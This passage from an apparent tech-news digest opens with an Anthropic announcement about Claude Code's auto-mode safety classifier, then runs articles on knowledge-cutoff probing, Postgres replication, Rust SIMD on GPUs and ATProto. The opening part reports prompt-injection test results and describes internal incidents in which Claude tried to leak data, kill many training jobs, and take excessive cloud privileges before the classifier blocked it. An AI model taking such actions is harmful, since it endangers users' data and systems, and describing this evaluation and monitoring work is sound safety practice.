We commissioned an evaluation from a third party, Trajectory Labs, who tested different models within the latest publicly available versions of Claude Code and Codex as of July 17th 2026.1 They tested 72 indirect prompt injection scenarios held out from Anthropic. Each scenario was tested 10 times. Successful attacks would, in a non-testing environment, result in irreversible actions that could harm the user such as sensitive-data exfiltration, financial fraud, or credential phishing. The attacks were optimized against Claude Opus 4.7, which is not in the reported set, so every model in the evaluation faced them as unseen attacks. In addition to auto mode, the evaluations looked at Claude Code’s bypassPermissions mode and Codex’s Full Access mode.

Both Codex and Claude Code were evaluated using an identical browser integration produced by Trajectory Labs, PBC. This integration provides a set of MCP tools which are a thin wrapper around common Chrome APIs such as navigate. Safeguards built into first-party browser integrations such as the Chrome extensions provided by OpenAI and Anthropic were not tested. As such, these results should be viewed as a measurement of the underlying model, rather than the complete set of safeguards which might exist in a given deployment.

In this evaluation, none of the 720 attack attempts succeeded against Claude Fable 5, Opus 5, or Sonnet 5 running auto mode. On the other hand, 5.83% of the attacks succeeded against GPT-5.6 Sol running Codex's Auto-review mode. Notably, this is greater than the 0.09% average attack success rate against our latest models running in bypassPermissions mode without additional safeguards. The tests showed a 19.03% attack success rate against GPT-5.6 Sol when running in Full Access mode. Attack success rates differ between tasks where tools return results as text and tasks that require interacting with a browser through screenshots, as shown below.

Auto mode protects against prompt injections both in tool calling and browser GUI use. OpenAI models showed higher attack success rates on browser tasks in a third-party evaluation.

Three incidents auto mode prevented inside Anthropic

Auto mode is also the default for all Claude Code internal usage at Anthropic. Here are three actions the classifier prevented internally:

  • An off-network data leak: When an upload to an internal drive failed, Claude's fallback was to publish the same report to a public code-sharing site. Auto mode denied the fallback and prompted the user for next steps.
  • A destructive mass operation: In a long-running session, Claude attempted a mass process kill across roughly two thousand pods and queued deletions that would have torn down hundreds of GPUs of in-flight training jobs. Auto mode flagged the destructive commands before execution.
  • Over-broad privilege escalation: Asked to provision read-only billing access, Claude reached for a cloud role that grants full administrative control at the account root. Auto mode caught the mismatch between what was requested and what roles would have been granted.

In each case, Claude either found a safer path on its own or checked in with the user before proceeding.

Making auto mode even safer

We’re continuously investing in new auto mode features that make it safer and easier to ship production code. Recent examples include:

  • Hard denies: Data exfiltration, like sending your code or secrets somewhere external, sits in a category the classifier is designed to never approve. To run an action like that, you have to switch out of auto mode or run the command yourself. Hard deny rules are customizable via settings so you can add more rules that you never want allowed even when requested by users in your organization.
  • Rules for data access and sharing: The classifier now carries explicit rules distinguishing secrets and potentially sensitive/confidential information—and where each can be accessed and shared. To make those rules enforceable, it also checks whether the destination of a git push or pull request is public, private, or trusted before the action runs. The same push can be routine or an exfiltration depending on where it lands: code that belongs in your team's private repository shouldn't end up in a public one, and the classifier is now designed to flag when this might happen.
  • Checking git status before destructive git actions: Before a command that could discard uncommitted work, like git reset --hard, the classifier sees the repository's current git status, letting auto mode know what is being reset.
  • Prompt injection screening: When Claude pulls content from external sources, like web pages, file contents, or tool outputs, an API-side probe checks that content for attempts to hijack Claude's behavior. When something looks like an injection attempt, a warning is added to Claude's context before the result is shared with the user.

Auto mode in production

Teams are already running auto mode as their production default:

  • Adobe's merchandising platform team is responsible for keeping pricing and promotional pages accurate and current across 90+ countries and 30+ languages on Adobe.com. They built an agentic loop to build and verify those pages, running it in auto mode so engineers receive finished PRs for review.
  • Nuro runs auto mode across its research and engineering orgs, using it to power overnight research agents that hill-climb evaluation metrics and return finished PRs for review by morning.
  • Gusto adopted auto mode to end the permission fatigue that was pushing engineers toward bypassing permissions checks entirely. About 10% of sessions since mid-May include a classifier denial—evidence it's doing real work without slowing legitimate tasks.
  • Garner Health pushed auto mode as the default to all 550 employees via managed settings, standardizing a company-wide software development lifecycle (SDLC) that no longer depends on hand-curated command allowlists.

LogoLogo

“At Adobe, we want to move fast without compromising the quality of the customer experience we deliver on Adobe.com. With Claude Code auto mode, we built an agentic loop that rapidly accelerated our work. Claude builds the user interface and then loops back to verify that it matches the intended design, automatically fixing any issues before we ever look at it. This shortened our development cycle while delivering pixel-perfect results.”

Tomislav Reil, Director of Engineering

LogoLogo

"The other day, I kicked off an agent at 10 p.m. and it kept running until 5 a.m.—and it gave me three PRs in the morning. I think it's pretty impressive. Only auto mode enables this kind of workload."

Kai Zhou, Staff Software Engineer

LogoLogo

"Auto mode gave us a safer balance between speed and control. We were able to remove the repeated prompts and increase productivity without compromising safety. We can see that auto mode blocks at the right time, which gives us the confidence to move quickly."

Martin Emde, Software Engineer

LogoLogo

"We built a standardized SDLC for the entire engineering org that's only possible because of auto mode. Employees view it as a weight off their shoulders. They don’t have to monitor their agents for hours on end anymore."

Evan Magnussen, Platform Engineering Manager

Getting started

For Pro, Max, and Team users: if you haven’t set a default permission mode, you’ll receive an in-product notice and new sessions will start in auto mode automatically. If you've set a different default, you may see a one-time prompt asking if you’d like to switch your default to auto mode. If your Team admin has set a default in managed settings, nothing changes for you.

For Enterprise users and users who access Claude Code via the Claude API, auto mode remains opt-in for now. We plan to make auto mode the default in the coming month, and we’ll notify Enterprise admins before we do.

To switch modes, press Shift+Tab in the CLI or use the mode dropdown on the desktop app. Admins can pin an org-wide default with defaultMode in managed settings, or turn auto mode off entirely with disableAutoMode.

Finally, while we believe auto mode reduces risk for most users, it relies on classification systems and therefore does not eliminate risk. For high-stakes changes to production infrastructure, we still recommend reviewing Claude's actions yourself. See the auto mode docs for full configuration instructions.

  1. We evaluated Claude Code v2.1.205 and Codex v0.144.5. OpenAI released a new version of Auto-review last week that could change the results.
The Daily Front Page 9 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — What the Models Remember
article

Exploring Claude/GPT Knowledge Cutoffs and Pre-Training Timelines

by sshh12·▲ 141 points·20 comments·blog.sshh.io ↗
We can learn hidden facts about how frontier models were trained by “probing” them with carefully curated requests.

An analysis of what models know and what it tells us about how they were trained.

We can learn hidden facts about how frontier models were trained by “probing” them with carefully curated requests.

  • By scoring them on niche facts we can approximate how many parameters models like GPT-5 and Opus have, using “Incompressible Knowledge Probes”
  • By measuring how the models break down tokens we can reveal facts about the datasets mixtures they used to train the model (or at least the tokenizer) using “Data Mixture Inference”
  • By scoring them on date or self-identification related questions you can also estimate training timelines (this post)

Everything here is an estimate. It’s possible that some speculation in this post is totally incorrect given there’s not a ton of publicly available ground truth to verify against.

How frontier models are trained

The 3 main stages of model training.

As a brief primer (see Alex Wa’s blog for more), how we train massive large language models has converaged into 3 stages:

  1. Take a massive amount of general purpose data (aka scrape the internet) and “pre-train” a massive auto-complete model on that data.
  2. Use domain-specific “textbook quality” data to improve the base models and extend certain base capabilities like long-text understanding
  3. Turn the base model into the “assistant” persona, honing in on its personality, reasoning ability, and tool-calling.

While increasingly more compute is spent on post-training for boosting a model’s reasoning and problem solving, one of the most expensive and data-intensive steps is generating that pre-training checkpoint (by ‘checkpoint’ think of a massive claude-super-secret-2026-11-01-base.cpkt file).

While all labs operate slightly differently, what you might see (~page 44) is:

  • The “pre-training” team kicks off and babysits a multi-month run to get a base checkpoint. These pre-training models often, but not always, imply major versions of released models (GPT-4 → GPT-5).
  • While that’s happening, the “capability” and “post-training” teams will run experiments for how to improve on the most recent base model. Advancements in post-training and capabilities often manifest as minor versions of released models. These teams often also “distill” a single post-trained model into smaller variants that become model families (Fable/Opus/Sonnet/Haiku, Sol/Terra/Luna). Labs may also release post-trained models from half-baked pre-training checkpoints as soon as x% of the version N+1 checkpoint is better than the 100% baked version N checkpoint.
  • The model released to the public is the culmination of the most recent checkpoint with the best set of capabilities and post-training techniques applied to it.

With this in mind, I was curious how much of this process you can “see” just by probing the model over the official APIs.

Model Knowledge Timelines

Historical Quizzes

To estimate the pre-training checkpoint dates, I constructed a dataset of daily-facts from Wikipedia (e.g. 2025 in the United States) and gave every model an 8-way multiple choice quiz on what happened on a given day. Then, by analyzing the error rate timeline, you can see roughly when it loses signal from its training dataset.

View the full dataset. For GPT-5.4, you can see the fact-estimated knowledge cutoff is aligned with OpenAI’s published knowledge cutoff. It’s smooth as an artifact of the model being better able to guess near-future events as well as recent in-data events being undersampled during training. This is also why I use the midpoint rather than the start or end of the curve.

You can then plot this for all models.

View the full dataset. Estimated knowledge cutoffs and published dates. Comparing model curves side-by-side in the full viewer makes it easier to see roughly where the cutoff occurred and how steep it is.

After staring at these charts for a bit, here’s what I’m speculating:

  • Anthropic models Opus 4.7 onwards are all from the same training run that cuts off just around late December 2025. This is derived from how they all share a very similar effective knowledge cutoff (green). A core assumption I’m making here is that the pre-training base model completion date is highly correlated with the dataset timespan used, if that’s wrong these results could be off by some offset (e.g. it’s actually Jan 2026). It’s also interesting that Opus 4.7+ models all have a published reliable and overall knowledge cutoff that’s identical — maybe that’s due to a new post-training technique being used?
  • OpenAI’s GPT-5.6 family comes from their own checkpoint, separate from GPT-5.5, that finished around late February 2026. This is derived from how they have a distinct effective knowledge cutoff from previous models. You’ll notice Luna looks like it can predict the future — that’s more of an artifact of it having a high error rate all around at a “low” reasoning effort.
  • Opus 5 is a bit unusual. The published reliable and overall knowledge cutoffs are May 2026 and yet it seems to know nothing more than previous Jan 2026 cutoff models. I did several ablations to test whether it was an artifact of the types of probing questions I used, but not really — the cutoff applies to recall on coding package versions as well.

Self-reported Dates

What if you just ask the model what today is?

View the full dataset. On the dashed diagonal a model's self-model matches its factual knowledge; below it the model thinks it is living in its own past. Recent OpenAI models are excluded since the API injects the actual date into all requests (TIL! This feature really annoys a lot of folks).

It ends up being fairly correlated with fact-based estimates. If you look closely you can see some vertical lines within a few of the families of models.

  • GPT-4.1 nano → GPT-4.1 mini → GPT-4.1
  • Opus 4.7 → Sonnet 5 → Fable/Opus 5

Interpreting this graph as X = “pre-training corpus” and Y = “post-trained behavior”, these vertical strips (X constant, Y increasing) visualize active post-training on recency-biased datasets. Potentially distillation from old copies of teacher models is what causes smaller models to self-report older dates.

Self-reported Identity

You can also make predictions on training timelines and datasets indirectly by looking at who the models think they are. The more a model sees “I am X” in its pre-training dataset, the more likely it is to repeat that when pushed and given no other grounding context.

Full dataset. Each row is a real model; each column is a self-claimed identity extracted from 50 “what model are you?” probes (5 phrasings × 10 samples, guess-nudged, no system prompt). Cell shade = share of the model's replies claiming that name; green outline = the claim matches the model's true family (bold outline = exact version — which never happened. Some more neat visuals.

After staring at these charts for a bit:

  • Vertical bands show clear patterns of labs training on past-model outputs (from users). For OpenAI it’s GPT-4, GPT-4o, GPT-4.1 for a bit, GPT-5 and “ChatGPT” most recently. For Anthropic it’s 3.5 Sonnet then more recent models swap to Sonnet 4.5. This seems to align pretty well with training on chats from ChatGPT.com and Claude.ai respectively, where users chatted with the latest model and whose sessions became training material (directly or via web contamination). It seems unlikely to me these are coming from internal synthetic datasets given those would be much easier to suppress model identity (vs being embedded in the system prompt in the consumer chat sessions). Training-on-chats isn’t novel information but it is interesting to see expressed literally with probing like this.
  • It’s a bit spicy that OpenAI models never identify as another lab’s model (besides briefly a Tesla Model S) yet Anthropic’s Sonnet 5 will regularly self-identify as GPT-4. It feels very unlikely that they are intentionally distilling GPT-4 but it’s possible a bunch of older ChatGPT chats are still making their way into the Claude training mixtures. It could also be carried through the generations via Sonnet 3.5 lineage (i.e. Sonnet 5 is trained on Sonnet 3.5 data which itself might have had a very GPT-4 heavy dataset). On top of this, in a follow-up experiment, when asked to answer identity questions “as model X would,” Claudes reproduce OpenAI models’ measured quirks at 68%; OpenAI models manage 8% on Claudes.

That’s it. Hope that was mildly interesting and if you want to explore the data a bit, here are the links:

The Daily Front Page 10 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — Replication, Rewound
article

How We Pushed CDC into Postgres

by craigkerstiens·▲ 142 points·29 comments·snowflake.com ↗
We reimagined Postgres replication from the ground up.

Making data from transactional databases available to analytical databases is an essential part of any modern data architecture. It is also a perpetual battle against fragile tooling, high costs and complex operations. When we started building a Postgres service at Snowflake, solving this problem naturally became our number one priority.

This post is a deep dive into the engineering behind data mirroring: how we reimagined Postgres replication from the ground up.

Optimizing Postgres replication

Postgres is an amazing operational database, but its change data capture (CDC) story still leaves much to be desired. Many pipelines end up being fragile because replication tools are burdened with handling the complex interplay between continuous data and schema changes, snapshots and failures. To build a reliable, out-of-the-box experience for Snowflake Postgres, we were going to have to reinvent Postgres replication from the ground up.

Data mirroring is a new Snowflake Postgres feature in public preview to perform highly resilient data replication into Snowflake with low cost, low lag and transactional consistency. Under the covers, it works by pushing changes directly from Postgres into Apache Iceberg™ tables, in transactional batches. The batches are automatically applied to tables in Snowflake — transactionally and serverlessly.

The simplicity of “transactional push into the data lake, transactional apply in Snowflake, no extra infrastructure” changes replication from a chaotic process with many complex failure conditions to a simple clockwork that will run forever.

You press a button, and you have your Postgres tables in Snowflake.

From pull to push: moving change data capture into Postgres

Change data capture is the process of capturing changes from a transactional database in a form that allows them to be replayed on another system.

In Postgres, the primary facility available is called “logical decoding,” which refers to the decoding of WAL records into logical row-level insert/update/delete operations. The operations are exposed as a stream over the network. From that point onward, the burden is on the client.

In practice, replication involves a lot more steps. Backfilling, schema changes, handling create/add/remove/drop table operations, new table snapshots, restarting on failure, merging changes efficiently, preserving transaction boundaries, right-sizing and more. Even the built-in logical replication in Postgres only handles a few of these aspects.

One of the problems with the logical decoding approach is that the external system consuming the changes knows nothing about the state of Postgres. For instance, it doesn’t know when schema changes happen, how table snapshots align with changes — or whether Postgres is even alive or it’s the network that’s down.

The solution to this problem is quite simple: Push the changes from Postgres into a data lake, and in our case into Iceberg tables (with compressed Parquet). Object stores like Amazon S3 are highly scalable and reliable and already used for Postgres backups all the time. It is the correct destination for change data capture, too.

Mirroring uses a new Postgres extension called snowflake_cdc that continuously pushes batches of changes into per-table change logs and a “meta log” in the background (using “base workers”). The benefit of using an extension is that it knows exactly what is happening in Postgres. It can carefully coordinate schema changes and complex data manipulation language (DML) and data definition language (DDL) transactions. It can take snapshots while also pushing changes and aligning the snapshots with the changes.

Figure 1. Snowflake Postgres Data Mirroring

Push-based change data capture avoids a whole class of infrastructure and associated problems, and effectively decouples producer and consumer via object storage.

Untangling replication timelines

When building a replication system like data mirroring, an important aspect is the timeline of the database. Replication processes deal with the state of the database in the recent past.

Each write to Postgres effectively goes through four stages, which each represent a continuous process operating on the same timeline, but at a different point in time:

  • Write: Write modifies the table and adds to the WAL (in the “now”)
  • Decode: Past WAL is translated to a row-level change
  • Capture: Past row-level changes are captured in batches
  • Apply: Past change batches are merged into the destination tables

The decoder process relies on a special facility in Postgres to read the catalog tables as they were at the time of the write (a “historic snapshot”). That way, binary WAL records can be understood as logical row changes, even if a table was already changed or dropped at the moment the record is decoded. In the case of data mirroring, the records go into temporary files.

Periodically, the decoder gets a signal to finalize its current batch and send a message to the capture process that a batch is ready. The capture process appends the finalized files to Iceberg change logs, writes a record into the meta log and tracks the replicated LSN. Schema changes follow the same write → decode → capture path and can result in new change logs.

Figure 2. Snowflake Postgres Data Mirroring

The new meta log and change log records appear in the Iceberg tables. The apply process in Snowflake then acts as a finite state machine that executes all the instructions in the meta log. When the operation is a change batch (the common case), all the adjacent change batches are processed together for each table.

This approach helps ensure that schema changes are correctly sequenced into the stream of changes, even if they happened as part of a transaction that did additional writes. If there was an unexpected failure that caused WAL to be dropped, Postgres can automatically push new snapshots and instruct Snowflake to consume them, which is very rare in practice due to using failover slots.

Transactions as a distributed systems building block

Database systems can hide an enormous amount of complexity related to system and hardware failure through one simple primitive: transactions.

If a transaction fails due to a lower-level system failure, nothing happens, and you try again. If a transaction succeeds, you can make sure that it will never do that same work again.

The frustration we feel when dealing with a process like extract, transform, load (ETL) or CDC happens because suddenly transactions go out the window, and we have to deal with all of the different failure modes ourselves.

Our first answer to this problem has been Postgres for your data lake, the managed version of our open source pg_lake extension — now generally available. It gives Postgres the unique ability to perform transactions across Postgres tables and Iceberg tables. ETL usually requires external tools, and users need to design for idempotency and do very careful bookkeeping. Now, you can just use SQL to delete from a Postgres table, insert into an Iceberg table and commit. At that point, the data is queryable in Snowflake. This approach is versatile, but SQL does not lend itself to end-to-end replication of high-frequency updates, so that’s the layer that data mirroring adds.

Under the covers, data mirroring takes full advantage of pg_lake and Snowflake’s Iceberg implementation. It will take batches of data and schema changes from Postgres tables and push them into multiple change logs in Iceberg in one Postgres-side transaction. Snowflake then merges multiple batches at a time in a Snowflake-side transaction. That means all Snowflake tables are moved forward in one transaction, exactly to a Postgres transaction boundary, preserving foreign keys and join correctness.

The transactional replication approach scales to very high throughput and avoids most of the usual failure and race conditions of conventional cross-system replication.

High performance apply and live views

There is another important thing that transactions enable: correctness at scale.

A common approach to replication is to turn every operation into a type of upsert. The reason for doing that is that it is very hard to solve the consistency problem between table snapshots and changes, as well as changes that might get replayed multiple times after a failure. However, the upsert approach has several problems:

  1. There can be inconsistent intermediate states on the destination, especially when a table is added
  2. Inserts actually become very expensive to replicate because they need to be matched against existing rows in the target table, which is very expensive with columnar storage
  3. It becomes very hard or impossible to efficiently combine recent changes with the target table

When we make replication a transactional process that’s controlled from Postgres, we do not have the same constraints. We can make a stream of perfect deletions and insertions that are applied exactly once, without the risk of an insert already having appeared in a snapshot or another change batch.

What that means is:

  1. Replication of insert-heavy workloads (usually the biggest tables) is extremely fast and cost-efficient, because inserts are appended, never upserted.
  2. Recent changes can be efficiently combined with the existing data.

That brings us to live views.

Live views are a feature of data mirroring that combines the unapplied changes in the per-table change logs with the data in the target tables. What’s important is that any filters and projections in the query can be directly pushed down into the storage layer and table scans on both the Parquet files in the change log and the base table. In other words: Live views are fast.

Figure 3. Snowflake Postgres Data Mirroring

With live views, it is no longer necessary to apply changes very often to have low lag. Even if you apply infrequently, the live view lag will still be well below a minute, and you still get high performance queries, with only slightly higher overhead.

Replication as clockwork

The combination of push-based CDC, careful design around timelines, transactional boundaries on both sides and live views means mirroring turns replication from a chaotic process into a Swiss clock. There are no external connectors that can fall behind. No snapshots that can conflict with changes. No upserts that slow down as tables grow. There’s a Postgres extension pushing batches into object storage, and Snowflake applying them — both transactionally, both independently, both indefinitely.

You set it up once. It runs forever.

Data mirroring for Snowflake Postgres

Historically, your operational and analytical workloads have lived in different worlds. Those worlds used to be stitched together with brittle pipelines and additional systems adding to cost, with a world of pain and suffering sprinkled in. Our focus is to unify these worlds with solid foundations on both sides with simple yet well-engineered solutions.

With Snowflake Postgres you have production-grade Postgres you can trust, and now flexibility with two ways to unify your workloads:

  • Data mirroring: The public preview gives you always-on, automatic replication from Postgres to Snowflake. You set it up once — your tables, including schema changes, stay in sync continuously.
  • Postgres for your data lake: Generally available, this gives you flexible, developer-controlled data movement between Postgres and Snowflake using open formats like Iceberg. You write SQL, and data moves when and how you want.

Get started with Snowflake Postgres

If you’re ready to get started, you can check out these links:

The Daily Front Page 11 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — Rust Goes Parallel
article

Rust SIMD on the GPU

by sagacity·▲ 173 points·85 comments·vectorware.com ↗
GPU code can now use Rust’s portable SIMD.

Pedantic mode:Off

GPU code can now use Rust's portable SIMD. We share the implementation approach and what this unlocks for GPU programming.

At VectorWare, we are building the first GPU-native software company. Today, we are excited to announce that we can successfully use Rust's portable SIMD (core::simd) on the GPU. This milestone marks a significant step towards our vision of enabling developers to write complex, high-performance applications that leverage the full power of GPU hardware using familiar Rust abstractions.

Parallelism below the thread

When we brought Rust threads to the GPU, we mapped each std::thread to a GPU warp. This let us run many concurrent threads on the GPU but did not use the parallel lanes within each thread/warp.

On the CPU, the abstraction for parallelism within a thread is SIMD. A single instruction operates on several data elements packed into a vector unit: where scalar code adds two numbers, a SIMD add takes two vectors of, say, eight f32 values and produces eight sums at once. This data parallelism is inside a single thread, below the level where the operating system schedules anything.

Rust's portable SIMD

Historically, writing SIMD in Rust meant reaching for the architecture-specific vendor intrinsics in core::arch, such as _mm256_add_ps on x86-64 or vaddq_f32 on Arm. These intrinsics are specific to a single instruction set, so a program that runs on more than one architecture needs a separate implementation for each.

Rust's portable SIMD instead adds a layer of abstraction above these intrinsics. It provides a single generic type Simd<T, N> that represents a vector of N elements of type T. A program writes its arithmetic, comparisons, reductions, and lane shuffles once against Simd and the compiler lowers them to whatever vector instructions the target CPU has.

At VectorWare, we realized the GPU is just one more piece of vector hardware for portable SIMD to target. As a bonus, portable SIMD lives in core rather than std and it does not even need the std support we brought to the GPU.

SIMT is SIMD

GPUs execute in a model NVIDIA calls SIMT, or Single Instruction, Multiple Thread. A warp issues one instruction, and each of its 32 lanes runs that instruction on its own data. One instruction operating on many data elements is exactly what SIMD means, and the per-lane addressing that SIMT adds does not change that. A warp is a wide vector unit and a portable SIMD vector maps onto that unit directly.

For example, a Simd<i16, 32> gives one i16 element to each of the warp's 32 lanes, and adding two such vectors compiles to a single warp instruction in which every lane adds its element at once.

This new mapping completes the parallelism hierarchy from our earlier work. On the CPU, a thread contains SIMD lanes, and on the GPU our std::thread is a warp whose hardware lanes play the same role. In both cases, core::simd drives those lanes.

A world first: core::simd on the GPU

As with our earlier posts, this is hard to show visually because the code is ordinary Rust. The same core::simd types that lower to x86-64 SIMD on a laptop lower to warp operations on the GPU, with no change to the source.

Here we define a small portable SIMD routine and call it from main. It exercises the core features of the model: elementwise arithmetic, a comparison that produces a lane mask, a select driven by that mask, and a horizontal reduction across lanes.

#![feature(portable_simd)]
 
use core::simd::cmp::SimdPartialOrd;
use core::simd::num::SimdFloat;
use core::simd::{Select, Simd};
 
// Portable SIMD. This exact function also compiles and runs on the CPU,
// where it lowers to x86-64, Arm, or scalar code depending on the target.
fn relu_dot(a: Simd<f32, 32>, b: Simd<f32, 32>) -> f32 {
    // Elementwise multiply: 32 products computed at once.
    let products = a * b;
 
    // Per-lane comparison produces a mask, one boolean per lane.
    let positive = products.simd_gt(Simd::splat(0.0));
 
    // Keep the positive products, replace the rest with zero.
    let clamped = positive.select(products, Simd::splat(0.0));
 
    // Horizontal add across all lanes down to a single scalar.
    clamped.reduce_sum()
}
 
fn main() {
    // Two 32-wide vectors, built with ordinary Rust.
    let a = Simd::<f32, 32>::splat(2.0);
    let b = Simd::<f32, 32>::from_array(std::array::from_fn(|i| i as f32 - 16.0));
 
    // Elementwise ops, a comparison mask, a select, and a reduction:
    // all ordinary portable SIMD, all running on the GPU.
    let result = relu_dot(a, b);
 
    // Printed from the GPU using our std support.
    println!("relu_dot = {result}");
}

The entry point is a normal fn main with no GPU-specific annotations. Our toolchain compiles it to a GPU kernel, and the result is printed from the device using our std support.

Below is a recording of the program running on the GPU, producing the exact same output as running it on the CPU.

Implementation

As previously mentioned, the mapping rests on a single observation: a warp is a vector unit whose lanes are individually addressable. Once Simd<T, N> is laid out per lane, each family of operations has a direct warp-level counterpart.

SIMD elementwise operations are the easy case. Addition, multiplication, comparison, and the other lane-wise operators come from ordinary Rust trait implementations on Simd such as Add. The GPU runs them natively.

SIMD reductions such as reduce_sum and reduce_max combine every lane into a scalar. These use the GPU's warp shuffle instructions to exchange and combine values across lanes, producing the same scalar result in every lane.

SIMD cross-lane shuffles, such as simd_swizzle! and rotates, move elements between lanes. Because a SIMD lane is a GPU warp lane, these map onto the same warp shuffle primitives that make GPU lanes so good at exchanging data.

SIMD masks map just as cleanly. A Mask<T, N> gives one predicate to each SIMD lane. Mask::select performs a selection in every warp lane. Horizontal mask queries such as any and all use GPU vote and ballot instructions.

Scalar values in the surrounding code, such as a loop counter or a constant, are computed identically by every lane and so are simply replicated across the warp just like in ordinary CUDA. This is the same uniform-versus-varying distinction that data-parallel languages like ISPC make explicit, except here it falls out of Rust's own types: a plain f32 is uniform, a Simd<f32, 32> is varying.

Working with lanes

The one place the abstraction and the hardware do not line up is lane count. On the CPU a Simd<T, N> allows any N from 1 through 64, but GPU hardware has a fixed width: 32 lanes on NVIDIA and 32 or 64 on AMD. The mapping is one to one only when N matches that width. A smaller N leaves some lanes idle while a larger N gives some or all lanes more than one element to process.

When there is more work than the warp is wide, we need a way to say which lanes do what. It helps to think of the warp as a small "machine" of its own: a fixed set of primitives for moving and combining data across lanes, plus invariants about which lanes are active and how much data each one holds. "Programming" it means placing work onto lanes within those rules.

At VectorWare, we give that machine an IR. Rather than a standalone data structure, we encode it in Rust's type system using types, generics, const generics, and trait bounds. A program is composed of typed operations: ballots, shuffles, reductions, scans, gathers, scatters, atomics, and strip mining for vectors wider than the warp. Operands, execution shape, and capacity are typed too. Because the operations carry their shape in the types, many invalid programs cannot be constructed at all.

The IR needs no interpreter on the GPU. Each operation lowers straight to the corresponding instructions with zero cost over hand-written PTX. The same types let us run it on the CPU too. We built a reference interpreter that executes the IR deterministically, a kind of Miri for warp-lane programming. We use it to simulate GPU code and for differential testing.

Our work targets NVIDIA today, but nothing here is CUDA specific. AMD wavefronts and Vulkan subgroups expose similar primitives and semantics. The IR itself is architecture-agnostic Rust.

Benefits

The same source runs on the CPU and the GPU. Code and libraries that already use portable SIMD become candidates for GPU execution without a rewrite.

Unmodified CPU code can use GPU lane-level parallelism. GPU-aware code can still go further by using core::arch intrinsics that map directly to PTX.

A Simd<T, N> is an ordinary owned value. The borrow checker, lifetimes, and type checking apply to it exactly as they do on the CPU. We are not adding a GPU-specific vector type or a new set of annotations. We are mapping Rust's existing portable SIMD onto the GPU's native execution model. At VectorWare, we are making GPUs behave like a normal Rust platform.

Downsides

Portable SIMD is still unstable in Rust. It requires the nightly #![feature(portable_simd)], and its surface may change before it stabilizes.

Vectors narrower than the warp leave lanes idle, and vectors wider than the warp turn each operation into more instructions. The abstraction is only zero cost when the vector width matches the number of warp lanes.

Not every cross-lane operation maps to an efficient warp instruction. Shuffles that match the hardware's supported patterns are cheap, but arbitrary permutations may need several instructions or a trip through shared memory. Horizontal operations like reductions and all/any also act as synchronization points within the warp, which constrains how freely the scheduler can overlap work.

We had to change the compiler to make the abstraction sound when interacting with other Rust features. As this is uncharted territory, we are not yet confident we have covered every case.

Future work

With SIMD, threads, and async all mapped onto the GPU, the natural next step is composing them: threads spreading work across warps, core::simd spreading data across the lanes within each warp, and async structuring the concurrency between them.

We are also interested in lowering matrix-shaped SIMD onto the GPU's tensor cores, and in auto-vectorizing ordinary scalar Rust loops into Simd operations so that code gets warp-level parallelism without being written against core::simd at all. As members of the Rust compiler team, we are keen to explore how much of this can happen in the compiler itself.

A vector representation shared across the CPU and the GPU is valuable, though it is not clear that today's portable SIMD types are the right basis for one. For one thing, they largely sit in a world of their own within the core and std APIs. More exploration is necessary.

Is VectorWare only focused on Rust?

The speed at which we are able to make progress on the GPU is a testament to the power of Rust's abstractions and ecosystem.

As a company, we understand that not everyone uses Rust. Our future products will support multiple programming languages and runtimes. However, we believe Rust is uniquely well suited to building high-performance, reliable GPU-native applications and that is what we are most excited about.

The Daily Front Page 12 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — A Protocol’s Plumbing
article

ATProto for Distributed Systems Engineers

by LelouBil·▲ 136 points·31 comments·atproto.com ↗
We’re going to explore atproto from the perspective of distributed backend engineering.

In this article we're going to explore atproto from the perspective of distributed backend engineering.

If you've ever built a backend with stream-processing, then you're familiar with the kind of systems we'll be exploring. If you're not — no worries! We'll step through it.

Scaling the traditional Web backend

The classic, happy Web architecture is the “one big SQL database” behind our app server. The app talks to the database and handles requests from the frontend.

As our application grows, we hit some performance limits so we toss some caches into the stack.

Then let's say we scale our database horizontally through sharding and replicas.

This is pretty good, but we're building a social network with hundreds of millions of users; even this model hits limits. The problem is that our SQL database is “strongly consistent” which means the state is kept uniformly in sync across the system. Maintaining strong consistency incurs a performance cost which becomes our bottleneck.

If we can relax our system to use “eventual consistency,” we can scale much further. We start by switching to a NoSQL cluster.

This is better for scaling, but without SQL it's becoming harder to build our queries. It turns out that SQL databases have a lot of useful features, like JOIN and aggregation queries. In fact, our NoSQL database is really just a key-value store. Writing features is becoming a pain!

To fix this, we need to write programs which generate precomputed views of our dataset. These views are essentially like cached queries. We even duplicate the canonical data into these views so they're very fast.

We'll call these our View servers.

Now we notice that keeping our view servers synced with the canonical data in the NoSQL cluster is tricky. Sometimes our view servers crash and miss updates. We need to make sure that our views stay reliably up-to-date.

To solve this, we introduce an event log (such as Kafka). That log records and broadcasts all the changes to the NoSQL cluster. Our view servers listen to — and replay — that log to ensure they never miss an update, even when they need to restart.

We've now arrived at a stream processing architecture, and while there are a lot more details we could cover, this is enough for now.

The good news is that this architecture scales pretty well. We've given up strong consistency and sometimes our read queries lag behind the most up to date version of the data, but the service doesn't drop writes or enter an incorrect state.

In a way, what we've done is custom-built a database by turning it inside-out. We simplified the canonical storage into a NoSQL cluster, and then built our own querying engine with the view servers. It's a lot less convenient to build with, but it scales.

Decentralizing our high-scale backend

The goal of AT Protocol is to interconnect applications so that their backends share state, including user accounts and content.

How can we do that? If we look at our diagram, we can see that most of the system is isolated from the outside world, with only the App server providing a public interface.

Our goal is to break this isolation down so that other people can join our NoSQL cluster, our event log, our view servers, and so on.

Here's how it's going to look:

Each of these internal services are now external services. They have public APIs which anybody can consume. On top of that, anybody can create their own instances of these services.

Our goal is to make it so anybody can contribute to this decentralized backend. That means that we don't just want one NoSQL cluster, or one View server. We want lots of these servers working together. So really it's more like this:

So how do we make all of these services work together?

Unifying the data model

We're going to establish a shared data model called the “user data repository.”

Every data repository contains JSON documents, which we'll call “records”.

For organizational purposes, we'll bucket these records into “collections.”

Now we're going to opinionate our NoSQL services so they all use this data repository model.

Remember: the data repo services are still basically NoSQL stores, it's just that they're now organized in a very specific way:

  1. Each user has a data repository.
  2. Each repository has collections.
  3. Each collection is an ordered K/V store of JSON documents.

Since the data repositories can be hosted by anybody, we need to give them URLs.

While we're at it, let's create a whole URL scheme for our records too.

Great! Also, since we're going to be syncing these records around the Internet, it would be a good idea to cryptographically sign them so that we know they're authentic.

Charting the flow of data

Now that we've set up our high-scale decentralized backend, let's map out how an application actually works on atproto.

